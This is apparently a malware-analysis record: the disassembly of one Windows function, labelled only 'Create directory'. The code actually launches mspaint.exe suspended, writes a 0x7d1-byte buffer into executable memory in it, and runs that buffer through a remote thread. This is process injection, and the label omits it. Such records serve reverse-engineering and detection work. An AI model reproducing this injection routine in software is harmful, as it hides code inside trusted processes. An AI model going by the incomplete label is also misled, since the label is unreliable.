Function at 0x404180
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a8
mov eax, dword [0x41a084]
xor eax, ebp
mov dword [ebp - 0xc], eax
push esi
push edi
mov dword [ebp - 0x238], 0
xor eax, eax
mov word [ebp - 0x218], ax
push 0x206
push 0
lea ecx, [ebp - 0x216]
push ecx
call fcn.0040e3a0
add esp, 0xc
mov dword [ebp - 0x288], 0x41bc20
mov dword [ebp - 0x234], 0
mov dword [ebp - 0x284], 0
mov dword [ebp - 8], 0
push 0x44
push 0
lea edx, [ebp - 0x280]
push edx
call fcn.0040e3a0
add esp, 0xc
mov dword [ebp - 0x280], 0x44
xor eax, eax
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x22c], eax
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x224], eax
mov ecx, dword [ebp + 0x10]
push ecx
call fcn.00403e70
add esp, 4
test eax, eax
jne 0x404231
xor eax, eax
jmp 0x4044d1
mov dword [ebp - 0x220], 0
call fcn.00408287
cdq
mov ecx, 3
idiv ecx
mov dword [ebp - 4], edx
lea edx, [ebp - 0x21c]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [ebp - 0x21c], 0
je 0x4042ad
lea eax, [ebp - 0x218]
add eax, 0xfffffffe
mov dword [ebp - 0x494], eax
mov ecx, dword [ebp - 0x494]
mov dx, word [ecx + 2]
mov word [ebp - 0x496], dx
add dword [ebp - 0x494], 2
cmp word [ebp - 0x496], 0
jne 0x404277
mov edi, dword [ebp - 0x494]
mov ecx, 0xa
mov esi, str.C:WindowsSysWOW64
rep movsd dword es:[edi], dword [esi]
jmp 0x4042f0
lea eax, [ebp - 0x218]
add eax, 0xfffffffe
mov dword [ebp - 0x49c], eax
mov ecx, dword [ebp - 0x49c]
mov dx, word [ecx + 2]
mov word [ebp - 0x49e], dx
add dword [ebp - 0x49c], 2
cmp word [ebp - 0x49e], 0
jne 0x4042bc
mov edi, dword [ebp - 0x49c]
mov ecx, 0xa
mov esi, str.C:WindowsSystem32
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x218]
add eax, 0xfffffffe
mov dword [ebp - 0x4a4], eax
mov ecx, dword [ebp - 0x4a4]
mov dx, word [ecx + 2]
mov word [ebp - 0x4a6], dx
add dword [ebp - 0x4a4], 2
cmp word [ebp - 0x4a6], 0
jne 0x4042ff
mov edi, dword [ebp - 0x4a4]
mov ecx, 6
mov esi, str.mspaint.exe
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x230]
push eax
lea ecx, [ebp - 0x280]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x218]
push edx
call dword [0x41e224]
test eax, eax
jne 0x40436c
jmp 0x404499
push 0
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x40
push 0x3000
push 0x7d1
push 0
mov ecx, dword [ebp - 0x230]
push ecx
call dword [0x41e238]
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0
jne 0x4043b9
mov dword [ebp - 0x238], 0
jmp 0x404499
push 0
push 0x7d1
mov edx, dword [ebp - 0x288]
push edx
mov eax, dword [ebp - 0x234]
push eax
mov ecx, dword [ebp - 0x230]
push ecx
call dword [0x41e22c]
test eax, eax
jne 0x4043f3
mov dword [ebp - 0x238], 0
jmp 0x404499
push 0
push 0
push 0
mov edx, dword [ebp - 0x234]
push edx
push 0
push 0
mov eax, dword [ebp - 0x230]
push eax
call dword [0x41e298]
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 0
jne 0x40447c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x238], eax
xor ecx, ecx
mov word [ebp - 0x490], cx
push 0x206
push 0
lea edx, [ebp - 0x48e]
push edx
call fcn.0040e3a0
add esp, 0xc
mov eax, dword [ebp - 0x238]
push eax
push str.D:CreateRemoteThread__d
lea ecx, [ebp - 0x490]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
lea edx, [ebp - 0x490]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
jmp 0x404499
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 0x14]
push eax
call fcn.00404100
add esp, 4
mov dword [ebp - 0x238], eax
call fcn.00403f70
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 0x230]
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push 0
mov eax, dword [ebp - 0x230]
push eax
call dword [0x41e294]
mov ecx, dword [ebp - 0x230]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x238]
pop edi
pop esi
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.00408266
mov esp, ebp
pop ebp
ret